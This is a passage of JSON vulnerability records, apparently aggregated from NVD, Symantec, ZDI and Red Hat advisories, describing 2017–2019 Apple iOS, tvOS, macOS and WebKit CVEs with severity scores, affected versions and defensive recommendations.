8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8782", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782"], "modified": "2021-12-01T16:59:00", "cpe": ["cpe:/a:apple:icloud:10.8"], "id": "CVE-2019-8782", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:apple:icloud:10.8:*:*:*:*:windows:*:*"]}, {"lastseen": "2023-12-02T16:17:43", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8812", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8812"], "modified": "2021-12-01T17:22:00", "cpe": [], "id": "CVE-2019-8812", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8812", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}], "symantec": [{"lastseen": "2021-06-08T18:47:16", "description": "### Description\n\nApple iOS, iPad and tvOS are prone to a memory-corruption vulnerability. A remote attacker can leverage this issue to execute arbitrary code with system privileges. Failed exploit attempts may result in a denial-of-service condition.\n\n### Technologies Affected\n\n * Apple Ipad Mini- \n * Apple TV \n * Apple iOS 10 \n * Apple iOS 10.0.1 \n * Apple iOS 10.1 \n * Apple iOS 10.2 \n * Apple iOS 10.2.1 \n * Apple iOS 10.3 \n * Apple iOS 10.3.1 \n * Apple iOS 10.3.2 \n * Apple iOS 10.3.3 \n * Apple iOS 11 \n * Apple iOS 11.1 \n * Apple iOS 11.2 \n * Apple iOS 11.2.1 \n * Apple iOS 11.2.2 \n * Apple iOS 11.2.5 \n * Apple iOS 11.2.6 \n * Apple iOS 11.3 \n * Apple iOS 11.3.1 \n * Apple iOS 11.4 \n * Apple iOS 11.4.1 \n * Apple iOS 12 \n * Apple iOS 12.0.1 \n * Apple iOS 12.1 \n * Apple iOS 12.1.1 \n * Apple iOS 12.1.3 \n * Apple iOS 12.1.4 \n * Apple iOS 12.2 \n * Apple iOS 12.3 \n * Apple iOS 12.4 \n * Apple iOS 12.4.1 \n * Apple iOS 13 \n * Apple iOS 13.1 \n * Apple iOS 2.0 \n * Apple iOS 2.1 \n * Apple iOS 3 \n * Apple iOS 3.0 \n * Apple iOS 3.1 \n * Apple iOS 3.2 \n * Apple iOS 3.2.1 \n * Apple iOS 3.2.2 \n * Apple iOS 4 \n * Apple iOS 4 \n * Apple iOS 4.0.1 \n * Apple iOS 4.0.2 \n * Apple iOS 4.1 \n * Apple iOS 4.2 \n * Apple iOS 4.2 beta \n * Apple iOS 4.2.1 \n * Apple iOS 4.2.10 \n * Apple iOS 4.2.5 \n * Apple iOS 4.2.6 \n * Apple iOS 4.2.7 \n * Apple iOS 4.2.8 \n * Apple iOS 4.2.9 \n * Apple iOS 4.3 \n * Apple iOS 4.3.1 \n * Apple iOS 4.3.2 \n * Apple iOS 4.3.3 \n * Apple iOS 4.3.4 \n * Apple iOS 4.3.5 \n * Apple iOS 5 \n * Apple iOS 5 \n * Apple iOS 5.0.1 \n * Apple iOS 5.1 \n * Apple iOS 5.1.1 \n * Apple iOS 6 \n * Apple iOS 6.0.1 \n * Apple iOS 6.0.2 \n * Apple iOS 6.1 \n * Apple iOS 6.1.3 \n * Apple iOS 6.1.4 \n * Apple iOS 6.1.6 \n * Apple iOS 6.3.1 \n * Apple iOS 7 \n * Apple iOS 7.0.1 \n * Apple iOS 7.0.2 \n * Apple iOS 7.0.3 \n * Apple iOS 7.0.4 \n * Apple iOS 7.0.5 \n * Apple iOS 7.0.6 \n * Apple iOS 7.1 \n * Apple iOS 7.1.1 \n * Apple iOS 7.1.2 \n * Apple iOS 7.2.0 \n * Apple iOS 8 \n * Apple iOS 8.1 \n * Apple iOS 8.1.1 \n * Apple iOS 8.1.1 beta \n * Apple iOS 8.1.2 \n * Apple iOS 8.1.3 \n * Apple iOS 8.2 \n * Apple iOS 8.3 \n * Apple iOS 8.4 \n * Apple iOS 8.4.1 \n * Apple iOS 9 \n * Apple iOS 9.0.1 \n * Apple iOS 9.0.2 \n * Apple iOS 9.1 \n * Apple iOS 9.2 \n * Apple iOS 9.2.1 \n * Apple iOS 9.3 \n * Apple iOS 9.3.1 \n * Apple iOS 9.3.2 \n * Apple iOS 9.3.3 \n * Apple iOS 9.3.4 \n * Apple iOS 9.3.5 \n * Apple iPad Air \n * Apple iPadOS 13.1 \n * Apple iPadOS \n * Apple iPhone \n * Apple iPod Touch \n * Apple tvOS 10 \n * Apple tvOS 10.0.1 \n * Apple tvOS 10.1 \n * Apple tvOS 10.1.1 \n * Apple tvOS 10.2 \n * Apple tvOS 10.2.1 \n * Apple tvOS 10.2.2 \n * Apple tvOS 11 \n * Apple tvOS 11.1 \n * Apple tvOS 11.2 \n * Apple tvOS 11.2.1 \n * Apple tvOS 11.2.5 \n * Apple tvOS 11.2.6 \n * Apple tvOS 11.4 \n * Apple tvOS 11.4.1 \n * Apple tvOS 12 \n * Apple tvOS 12.1.1 \n * Apple tvOS 12.1.2 \n * Apple tvOS 12.2.1 \n * Apple tvOS 12.3 \n * Apple tvOS 12.4 \n * Apple tvOS 12.4.1 \n * Apple tvOS 13 \n * Apple tvOS 9.0 \n * Apple tvOS 9.1 \n * Apple tvOS 9.1.1 \n * Apple tvOS 9.2 \n * Apple tvOS 9.2.1 \n * Apple tvOS 9.2.2 \n\n### Recommendations\n\n**Block external access at the network boundary, unless external parties require service.** \nIf global access isn't needed, filter access to the affected computer at the network boundary. Restricting access to only trusted computers and networks might greatly reduce the likelihood of successful exploits. \n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo reduce the impact of latent vulnerabilities, run all applications with the minimal amount of privileges required for functionality.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This includes but is not limited to requests that include NOP sleds and unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from successful exploits.\n\n**Do not accept or execute files from untrusted or unknown sources.** \nTo reduce the likelihood of successful exploits, never handle files that originate from unfamiliar or untrusted sources.\n\n**Implement multiple redundant layers of security.** \nSince some of these issues may be leveraged to execute code, we recommend memory-protection schemes, such as nonexecutable stack/heap configurations and randomly mapped memory segments. This tactic may complicate exploits of memory-corruption vulnerabilities.\n\n**Evaluate read, write, and execute permissions on all newly installed software.** \nTo limit exposure to these and other latent vulnerabilities, evaluate setgid and setuid settings on all installed applications.\n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "cvss3": {}, "published": "2019-10-28T00:00:00", "type": "symantec", "title": "Apple tvOS/iOS/iPadOS CVE-2019-8795 Memory Corruption Vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2019-8795"], "modified": "2019-10-28T00:00:00", "id": "SMNTC-110662", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/110662", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-06-08T18:47:16", "description": "### Description\n\nApple iOS is prone to an address bar spoofing vulnerability. An attacker may exploit this issue to spoof the originating URL of a trusted web site. This may allow a remote attacker to carry out phishing-style attacks. Versions prior Apple iOS 11.2 are vulnerable.\n\n### Technologies Affected\n\n * Apple iOS 10 \n * Apple iOS 10.0.1 \n * Apple iOS 10.1 \n * Apple iOS 10.2 \n * Apple iOS 10.2.1 \n * Apple iOS 10.3 \n * Apple iOS 10.3.1 \n * Apple iOS 10.3.2 \n * Apple iOS 10.3.3 \n * Apple iOS 11 \n * Apple iOS 11.1 \n * Apple iOS 13 \n * Apple iOS 2.0 \n * Apple iOS 2.1 \n * Apple iOS 3 \n * Apple iOS 3.0 \n * Apple iOS 3.1 \n * Apple iOS 3.2 \n * Apple iOS 3.2.1 \n * Apple iOS 3.2.2 \n * Apple iOS 4 \n * Apple iOS 4 \n * Apple iOS 4.0.1 \n * Apple iOS 4.0.2 \n * Apple iOS 4.1 \n * Apple iOS 4.2 \n * Apple iOS 4.2.1 \n * Apple iOS 4.2.10 \n * Apple iOS 4.2.5 \n * Apple iOS 4.2.6 \n * Apple iOS 4.2.7 \n * Apple iOS 4.2.8 \n * Apple iOS 4.2.9 \n * Apple iOS 4.3 \n * Apple iOS 4.3.1 \n * Apple iOS 4.3.2 \n * Apple iOS 4.3.3 \n * Apple iOS 4.3.4 \n * Apple iOS 4.3.5 \n * Apple iOS 5 \n * Apple iOS 5 \n * Apple iOS 5.0.1 \n * Apple iOS 5.1 \n * Apple iOS 5.1.1 \n * Apple iOS 6 \n * Apple iOS 6.0.1 \n * Apple iOS 6.0.2 \n * Apple iOS 6.1 \n * Apple iOS 6.1.3 \n * Apple iOS 6.1.4 \n * Apple iOS 6.1.6 \n * Apple iOS 6.3.1 \n * Apple iOS 7 \n * Apple iOS 7.0.1 \n * Apple iOS 7.0.2 \n * Apple iOS 7.0.3 \n * Apple iOS 7.0.4 \n * Apple iOS 7.0.5 \n * Apple iOS 7.0.6 \n * Apple iOS 7.1 \n * Apple iOS 7.1.1 \n * Apple iOS 7.1.2 \n * Apple iOS 7.2.0 \n * Apple iOS 8 \n * Apple iOS 8.1 \n * Apple iOS 8.1.1 \n * Apple iOS 8.1.2 \n * Apple iOS 8.1.3 \n * Apple iOS 8.2 \n * Apple iOS 8.3 \n * Apple iOS 8.4 \n * Apple iOS 8.4.1 \n * Apple iOS 9 \n * Apple iOS 9.0.1 \n * Apple iOS 9.0.2 \n * Apple iOS 9.1 \n * Apple iOS 9.2 \n * Apple iOS 9.2.1 \n * Apple iOS 9.3 \n * Apple iOS 9.3.1 \n * Apple iOS 9.3.2 \n * Apple iOS 9.3.3 \n * Apple iOS 9.3.4 \n * Apple iOS 9.3.5 \n * Apple iPad Air \n * Apple iPadOS \n * Apple iPhone \n * Apple iPod Touch \n * Apple macOS 10.12 \n * Apple macOS 10.12.1 \n * Apple macOS 10.12.2 \n * Apple macOS 10.12.3 \n * Apple macOS 10.12.4 \n * Apple macOS 10.12.5 \n * Apple macOS 10.12.6 \n * Apple macOS 10.13 \n * Apple macOS 10.13.1 \n * Apple macOS 10.13.2 \n * Apple macOS 10.13.3 \n * Apple macOS 10.13.4 \n * Apple macOS 10.13.5 \n * Apple macOS 10.13.6 \n * Apple macOS 10.14 \n * Apple macOS 10.14.1 \n * Apple macOS 10.14.2 \n * Apple macOS 10.14.3 \n * Apple macOS 10.14.4 \n * Apple macOS 10.14.5 \n * Apple macOS 10.14.6 \n * Apple macOS 10.15 \n * Apple watchOS 1.0 \n * Apple watchOS 1.0.1 \n * Apple watchOS 10.1.1 \n * Apple watchOS 12.4 \n * Apple watchOS 2.0 \n * Apple watchOS 2.0.1 \n * Apple watchOS 2.1 \n * Apple watchOS 2.2 \n * Apple watchOS 2.2.1 \n * Apple watchOS 2.2.2 \n * Apple watchOS 3 \n * Apple watchOS 3.0 \n * Apple watchOS 3.1 \n * Apple watchOS 3.1.1 \n * Apple watchOS 3.1.3 \n * Apple watchOS 3.2 \n * Apple watchOS 3.2.1 \n * Apple watchOS 3.2.2 \n * Apple watchOS 3.2.3 \n * Apple watchOS 4 \n * Apple watchOS 4.1 \n * Apple watchOS 4.2 \n * Apple watchOS 4.2.2 \n * Apple watchOS 4.2.3 \n * Apple watchOS 4.3 \n * Apple watchOS 4.3.1 \n * Apple watchOS 4.3.2 \n * Apple watchOS 5 \n * Apple watchOS 5.1.2 \n * Apple watchOS 5.1.3 \n * Apple watchOS 5.2.1 \n * Apple watchOS 5.3 \n\n### Recommendations\n\n**Block external access at the network boundary, unless external parties require service.** \nIf global access isn't needed, filter access to the affected computer at the network boundary. Restricting access to only trusted computers and networks might greatly reduce the likelihood of successful exploits.\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo limit the consequences of successful exploits, run server processes within a restricted environment using facilities such as chroot or jail. \n\n**Do not follow links provided by unknown or untrusted sources.** \nWeb users should be cautious about following links to sites that are provided by unfamiliar or suspicious sources. Filtering HTML from emails may help remove a possible vector for transmitting malicious links to users.\n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "cvss3": {}, "published": "2017-12-21T00:00:00", "type": "symantec", "title": "Apple iOS CVE-2017-7152 Address Bar Spoofing Vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2017-7152"], "modified": "2017-12-21T00:00:00", "id": "SMNTC-103136", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/103136", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "zdi": [{"lastseen": "2023-12-02T17:44:46", "description": "This vulnerability allows local attackers to disclose sensitive information on affected installations of Apple macOS. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the fseventsd daemon. The issue results from the lack of proper initialization of memory prior to accessing it. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute code in the context of the kernel.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-11T00:00:00", "type": "zdi", "title": "Apple macOS fseventsd Uninitialized Buffer Information Disclosure Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798"], "modified": "2019-12-11T00:00:00", "id": "ZDI-19-1009", "href": "https://www.zerodayinitiative.com/advisories/ZDI-19-1009/", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}}], "redhatcve": [{"lastseen": "2023-12-02T11:50:58", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T16:49:03", "type": "redhatcve", "title": "CVE-2019-8821", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2023-04-06T05:53:17", "id": "RH:CVE-2019-8821", "href": "https://access.redhat.com/security/cve/cve-2019-8821", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:57", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T13:19:17", "type": "redhatcve", "title": "CVE-2019-8815", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815"], "modified": "2023-04-06T05:52:27", "id": "RH:CVE-2019-8815", "href": "https://access.redhat.com/security/cve/cve-2019-8815", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T11:50:55", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T13:19:11", "type": "redhatcve", "title": "CVE-2019-8811", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2023-04-06T05:51:47", "id": "RH:CVE-2019-8811", "href": "https://access.redhat.com/security/cve/cve-2019-8811", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:57", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T13:20:12", "type": "redhatcve", "title": "CVE-2019-8814", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2023-04-06T05:54:20", "id": "RH:CVE-2019-8814", "href": "https://access.redhat.com/security/cve/cve-2019-8814", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T11:50:58", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T16:49:02", "type": "redhatcve", "title": "CVE-2019-8819", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8819"], "modified": "2023-04-06T05:52:51", "id": "RH:CVE-2019-8819", "href": "https://access.redhat.com/security/cve/cve-2019-8819", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:56", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T16:49:12", "type": "redhatcve", "title": "CVE-2019-8823", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8823"], "modified": "2023-04-06T05:53:41", "id": "RH:CVE-2019-8823", "href": "https://access.redhat.com/security/cve/cve-2019-8823", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:57", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2. Processing maliciously crafted web content may lead to arbitrary code execution.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-07T13:19:10", "type": "redhatcve", "title": "CVE-2019-8808", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8808"], "modified": "2023-04-06T06:57:29", "id": "RH:CVE-2019-8808", "href": "https://access.redhat.com/security/cve/cve-2019-8808", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T11:50:58", "description": "A logic issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to universal cross site scripting.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2020-09-07T13:19:17", "type": "redhatcve", "title": "CVE-2019-8813", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8813"], "modified": "2023-04-06T05:52:09", "id": "RH:CVE-2019-8813", "href": 